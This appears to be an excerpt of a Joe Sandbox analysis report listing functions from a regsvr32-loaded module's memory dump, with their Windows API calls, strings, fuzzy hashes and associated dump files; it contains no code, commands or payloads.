Instruction ID: 58483280aed956e0eba6cca25acfcb3c89756d5710dd2d441587f3133377af8a
Opcode Fuzzy Hash: 92f276b95c9412c8838e8edfa986efb751212cd665cf99de9ccdbafe4ee7030b
Instruction Fuzzy Hash: 60F0F632B0A61B92E770AE12E0117BA62908B88744F444171DBAD437F8CE3CD9068F04

Function 00007FFDFB211C60 Relevance: 1.6, APIs: 1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 547ac9d1fa80003c072093df209460cb2d78731ac40638971273e09c1edc407b
Instruction ID: fe68edecaa010ee391c4119b3baae6eab0c997e363c0471084e0cf6ef8e1da93
Opcode Fuzzy Hash: 547ac9d1fa80003c072093df209460cb2d78731ac40638971273e09c1edc407b
Instruction Fuzzy Hash: 1941D322B0A75682F7619B15E460BB966A0FF88784F445131EAED477EDDE3CD5428300

Function 00007FFDFB214380 Relevance: 1.6, APIs: 1, Instructions: 59comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32 ref: 00007FFDFB2143CA

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 65c99bcea707947771c2063d95bc6e976da4805a9c62869e954726bbee57f278
Instruction ID: ffd82a09ebffcb04900c44bd84465107370201e27c5578b3cd11f8646cad7f27
Opcode Fuzzy Hash: 65c99bcea707947771c2063d95bc6e976da4805a9c62869e954726bbee57f278
Instruction Fuzzy Hash: 2121A43270AA4291E7219B11E460BAA77A4FB84794F544130EBED47BE9DF7CD1918700

Function 00007FFDFB2B8AA0 Relevance: 19.7, APIs: 9, Strings: 2, Instructions: 481COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FFDFB2B8C64
GetFullPathNameW.KERNEL32 ref: 00007FFDFB2B8C80
GetLastError.KERNEL32 ref: 00007FFDFB2B8C8B
GetLastError.KERNEL32 ref: 00007FFDFB2B8CA4

Strings

\\?\UNC\, xrefs: 00007FFDFB2B8E18
\\?\, xrefs: 00007FFDFB2B8DC6

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: ErrorLast$FullNamePath
String ID: \\?\$\\?\UNC\
API String ID: 2482867836-3019864461
Opcode ID: f987178dd3b3f82022f953fc169ff115279cc16a8549942425500b39b729e88a
Instruction ID: 7317b774bf54335eafa95e4bdd3635bb56cff996e8bca67f179bee7d4ebc7a6c
Opcode Fuzzy Hash: f987178dd3b3f82022f953fc169ff115279cc16a8549942425500b39b729e88a
Instruction Fuzzy Hash: D012F7A2B0A69389EB749B21C464BB92395FB04BD4F44C535DA6C8B7EDDF3CE5818700

Function 00007FFDFB2B6AA0 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 276libraryloaderCOMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FFDFB2B6BA9
GetFullPathNameW.KERNEL32 ref: 00007FFDFB2B6BBE
GetLastError.KERNEL32 ref: 00007FFDFB2B6BC9
GetLastError.KERNEL32 ref: 00007FFDFB2B6BE2
memcmp.MSVCRT ref: 00007FFDFB2B6C60
GetLastError.KERNEL32 ref: 00007FFDFB2B6C9A
memcpy.MSVCRT ref: 00007FFDFB2B6D59
GetModuleHandleA.KERNEL32 ref: 00007FFDFB2B6EE9
GetProcAddress.KERNEL32 ref: 00007FFDFB2B6EFD

Strings

kernel32, xrefs: 00007FFDFB2B6EE2
SetThreadDescription, xrefs: 00007FFDFB2B6EF3

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: ErrorLast$AddressFullHandleModuleNamePathProcmemcmpmemcpy
String ID: SetThreadDescription$kernel32
API String ID: 1783792165-1950310818
Opcode ID: 41d5366597417468d2c84e3e1d372b1b21ce52746e922d497d61c5bed90c9ffd
Instruction ID: b60e53dab79714110e3e588cfe6fd359bc5fdaeb8de2bb7be2935440beac8878
Opcode Fuzzy Hash: 41d5366597417468d2c84e3e1d372b1b21ce52746e922d497d61c5bed90c9ffd
Instruction Fuzzy Hash: D8B1A162B0A6838AEB269B11DC64BF9A665FF44BC8F448031DD6D977EDDE3CD2418700

Function 00007FFDFB2157C0 Relevance: 18.2, APIs: 12, Instructions: 219COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 00007FFDFB2157D9
TlsGetValue.KERNEL32 ref: 00007FFDFB215840
TlsSetValue.KERNEL32 ref: 00007FFDFB215850
TlsGetValue.KERNEL32 ref: 00007FFDFB2158AC
TlsGetValue.KERNEL32 ref: 00007FFDFB215949
TlsGetValue.KERNEL32 ref: 00007FFDFB215997
TlsSetValue.KERNEL32 ref: 00007FFDFB2159A7
TlsGetValue.KERNEL32 ref: 00007FFDFB2159DC
TlsGetValue.KERNEL32 ref: 00007FFDFB215A1E
ProcessPrng.BCRYPTPRIMITIVES ref: 00007FFDFB215A5A
TlsGetValue.KERNEL32 ref: 00007FFDFB215A8D
TlsSetValue.KERNEL32 ref: 00007FFDFB215A9D

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: Value$PrngProcess
String ID:
API String ID: 3259538350-0
Opcode ID: cfcbfefdd9e33552643352429b236e553508dad3f7d1eeb3e44439b765618666
Instruction ID: 5817771638ccd745d4cf7828296bff59e8f2abd46a5c246b8f32ba69f03e5338
Opcode Fuzzy Hash: cfcbfefdd9e33552643352429b236e553508dad3f7d1eeb3e44439b765618666
Instruction Fuzzy Hash: 68811221F0B65742FB156B158520BBD52D1AF84BD0F099471DEAC873FEDE2DA8428380

Function 00007FFDFB20E670 Relevance: 16.7, APIs: 11, Instructions: 199COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 00007FFDFB215A1E
ProcessPrng.BCRYPTPRIMITIVES ref: 00007FFDFB215A5A
TlsGetValue.KERNEL32 ref: 00007FFDFB215A8D
TlsSetValue.KERNEL32 ref: 00007FFDFB215A9D
TlsGetValue.KERNEL32 ref: 00007FFDFB215AD7
TlsGetValue.KERNEL32 ref: 00007FFDFB215B19
TlsGetValue.KERNEL32 ref: 00007FFDFB215B6F
TlsSetValue.KERNEL32 ref: 00007FFDFB215B7F
TlsGetValue.KERNEL32 ref: 00007FFDFB215BB0
memset.MSVCRT ref: 00007FFDFB215C07
RtlGetVersion.NTDLL ref: 00007FFDFB215C19

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: Value$PrngProcessVersionmemset
String ID:
API String ID: 1585940240-0
Opcode ID: 1f6d258840ea14e6c065f27eeb8c34b1f360a06c8dabc480339fcc7cba82b9b0
Instruction ID: 4c3a5049cce953e170ebdc651a56ef523397fb33851ab08729c605682da8a56c
Opcode Fuzzy Hash: 1f6d258840ea14e6c065f27eeb8c34b1f360a06c8dabc480339fcc7cba82b9b0
Instruction Fuzzy Hash: 13711721F0E65752FB656B1594607FD66A0AF88B80F0C9171DBAD877FEDE2CE9418300

Function 00007FFDFB21656C Relevance: 16.2, APIs: 7, Strings: 2, Instructions: 458COMMON

Download Yara Rule

APIs

GetVolumePathNamesForVolumeNameW.KERNEL32 ref: 00007FFDFB2165FC

Strings

OI, xrefs: 00007FFDFB2170AC
TI, xrefs: 00007FFDFB2170A7

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: Volume$NameNamesPath
String ID: OI$TI
API String ID: 1552044656-128833160
Opcode ID: 62f032ec465d3798ef01c4089d649f9cf3ee10aaad0414ccb3deae31c2f2a27f
Instruction ID: 0c9beb16474fb4046313707a57f5e44eede52ff1d83e90e2bd9a2429f0a8a81e
Opcode Fuzzy Hash: 62f032ec465d3798ef01c4089d649f9cf3ee10aaad0414ccb3deae31c2f2a27f
Instruction Fuzzy Hash: BA324F22B0E6C291EB719B15E454BEEA3A0FB84794F445235CAAC43AEDDF7DD484CB40

Function 00007FFDFB27A880 Relevance: 15.5, APIs: 8, Strings: 2, Instructions: 483COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FFDFB27A90E
memcpy.MSVCRT ref: 00007FFDFB27A945
memcpy.MSVCRT ref: 00007FFDFB27AE0B
memcpy.MSVCRT ref: 00007FFDFB27AE7F
memcpy.MSVCRT ref: 00007FFDFB27AEB7

Strings

assertion failed: new_left_len <= CAPACITY, xrefs: 00007FFDFB27AC43
assertion failed: match track_edge_idx { LeftOrRight::Left(idx) => idx <= old_left_len, LeftOrRight::Right(idx) => idx <= right_len,}, xrefs: 00007FFDFB27B213

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: memcpy
String ID: assertion failed: match track_edge_idx { LeftOrRight::Left(idx) => idx <= old_left_len, LeftOrRight::Right(idx) => idx <= right_len,}$assertion failed: new_left_len <= CAPACITY
API String ID: 3510742995-2079967719
Opcode ID: 3bf318296a2faa0e97b7af8703ec710a53762a8deb6518adb9d9b506360eddcd
Instruction ID: b7c2bafc64fa9d30670a6c2fc8fe380f950463d23ccf97ad92f99da3fd71e25a
Opcode Fuzzy Hash: 3bf318296a2faa0e97b7af8703ec710a53762a8deb6518adb9d9b506360eddcd
Instruction Fuzzy Hash: 5E42C032616BC685E721CF24E8507ED33A8FB68788F548236DE9D5B7A8DF749295C300

Function 00007FFDFB302F10 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 115COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32 ref: 00007FFDFB30302B

Strings

Address %p has no image-section, xrefs: 00007FFDFB302F82, 00007FFDFB3030D5
VirtualQuery failed for %d bytes at address %p, xrefs: 00007FFDFB3030C1
Mingw-w64 runtime failure:, xrefs: 00007FFDFB302F47
VirtualProtect failed with code 0x%x, xrefs: 00007FFDFB30309E

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: QueryVirtual
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 1804819252-1534286854
Opcode ID: 813c4ee8a044320c83cd0d7a729d0b00980456566e1ead92c277795f05c6ef47
Instruction ID: 5430985205429bb92ba3d97581a01d7eaa469bdfba3a84a52dc1a57bd16bedf3
Opcode Fuzzy Hash: 813c4ee8a044320c83cd0d7a729d0b00980456566e1ead92c277795f05c6ef47
Instruction Fuzzy Hash: 0B418171B8A64783EB10AB11E460AA97BE0EF49BD8F484234DA9D077F9DE3DE545C340

Function 00007FFDFB28E6A0 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 264COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FFDFB28E829
GetEnvironmentVariableW.KERNEL32 ref: 00007FFDFB28E83B
GetLastError.KERNEL32 ref: 00007FFDFB28E847
GetLastError.KERNEL32 ref: 00007FFDFB28E860

Strings

environment variable not foundenvironment variable was not valid unicode: , xrefs: 00007FFDFB28EAED

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: ErrorLast$EnvironmentVariable
String ID: environment variable not foundenvironment variable was not valid unicode:
API String ID: 2691138088-3632183283
Opcode ID: 335b4f973b880afa8172e4930a0d73d7029cb10b69d3ae74776fe86e5a4af0f5
Instruction ID: 127fed11eccf46651fe9b81c7fa86390d27763a44fc5a743989cd0e150702e5e
Opcode Fuzzy Hash: 335b4f973b880afa8172e4930a0d73d7029cb10b69d3ae74776fe86e5a4af0f5
Instruction Fuzzy Hash: 50B19366B06A8385EB24AB21D854BED2365FB05BC8F448436CE6C9B7EDDF7CD2418340

Function 00007FFDFB2B6660 Relevance: 10.8, APIs: 7, Instructions: 251COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FFDFB2B6769
GetFullPathNameW.KERNEL32 ref: 00007FFDFB2B677E
GetLastError.KERNEL32 ref: 00007FFDFB2B6789
GetLastError.KERNEL32 ref: 00007FFDFB2B67A2
memcmp.MSVCRT ref: 00007FFDFB2B6827
GetLastError.KERNEL32 ref: 00007FFDFB2B6861
memcpy.MSVCRT ref: 00007FFDFB2B6920

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: ErrorLast$FullNamePathmemcmpmemcpy
String ID:
API String ID: 2015650653-0
Opcode ID: c8321181978a4963cae34ea038d7f953b1d95242421ca7f18ca5682775f57a72
Instruction ID: 123fd878e048c75d1c5f5c10951494377528a076541780970f2750409536d176
Opcode Fuzzy Hash: c8321181978a4963cae34ea038d7f953b1d95242421ca7f18ca5682775f57a72
Instruction Fuzzy Hash: 03A1A362B0AA8389EB269B11DC64BF96255FF05BC8F448035CD6C8B7EDDE3CD2448700

Function 00007FFDFB2ADE40 Relevance: 10.7, APIs: 7, Instructions: 185COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FFDFB2ADF38
GetModuleFileNameW.KERNEL32 ref: 00007FFDFB2ADF45
GetLastError.KERNEL32 ref: 00007FFDFB2ADF51
GetLastError.KERNEL32 ref: 00007FFDFB2ADF6A
GetLastError.KERNEL32 ref: 00007FFDFB2AE006
SetCurrentDirectoryW.KERNEL32 ref: 00007FFDFB2AE0EA
GetLastError.KERNEL32 ref: 00007FFDFB2AE11A

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: ErrorLast$CurrentDirectoryFileModuleName
String ID:
API String ID: 1505103792-0
Opcode ID: 53ae84dd1857602d04ad9f3a9051b19f53a886f4bf7aa711c71c4e051393cf9c
Instruction ID: bc223ddeda68fa9b55c082914b15c58d1eca2b0f555712806dd52d3a26609d71
Opcode Fuzzy Hash: 53ae84dd1857602d04ad9f3a9051b19f53a886f4bf7aa711c71c4e051393cf9c
Instruction Fuzzy Hash: 7A71F522B0969355FB24AB25D825BBD2269FF14BC8F148131DE6C9B6DDDF6CE2418300

Function 00007FFDFB20EC10 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 85COMMON

Download Yara Rule

APIs

PdhOpenQueryA.PDH ref: 00007FFDFB20EC2B
PdhCloseQuery.PDH ref: 00007FFDFB20EC5F
PdhCloseQuery.PDH ref: 00007FFDFB20ED28
PdhRemoveCounter.PDH ref: 00007FFDFB20ED7D

Strings

\System\Cpu Queue Length, xrefs: 00007FFDFB20EC42
LoadUpdateEvent, xrefs: 00007FFDFB20EC7B

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: Query$Close$CounterOpenRemove
String ID: LoadUpdateEvent$\System\Cpu Queue Length
API String ID: 1254545005-2417354242
Opcode ID: 45d828bd0206fad47acc67b38ec4db276fcd54069d5b1721df8aaaab19bf8811
Instruction ID: 070d15b79907e03f181053798ed22fe4e58f4c801305c9ed16316632c967629a
Opcode Fuzzy Hash: 45d828bd0206fad47acc67b38ec4db276fcd54069d5b1721df8aaaab19bf8811
Instruction Fuzzy Hash: FD415426A09A4382E750EB15E4617BAA3A0EF843D4F544235F6ED87AEDDF7DD480C700

Function 00007FFDFB302850 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FFDFB3028E2
RtlUnwindEx.KERNEL32 ref: 00007FFDFB30291F
abort.MSVCRT ref: 00007FFDFB302925
RaiseException.KERNEL32 ref: 00007FFDFB302962
abort.MSVCRT ref: 00007FFDFB302977

Strings

CCG , xrefs: 00007FFDFB30295D

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: abort$CaptureContextExceptionRaiseUnwind
String ID: CCG
API String ID: 4122134289-1584390748
Opcode ID: ea82f6b06087ce60718abc6ba6b4de118ec52333f66a0ef5de84b6cd79baedbc
Instruction ID: 747265d202ab5499b11f8d88cbca4c9e18736a4a85e5ba96bf9e9ea66ce71732
Opcode Fuzzy Hash: ea82f6b06087ce60718abc6ba6b4de118ec52333f66a0ef5de84b6cd79baedbc
Instruction Fuzzy Hash: 6A318432A49BC686D720AF24E4503AA77B0FBD9788F505225DACC13779DF79D195CB00

Function 00007FFDFB217290 Relevance: 9.3, APIs: 6, Instructions: 274COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FFDFB2172F6
memcpy.MSVCRT ref: 00007FFDFB21744D
FindNextVolumeW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00007FFDFB211D07), ref: 00007FFDFB217484

Memory Dump Source

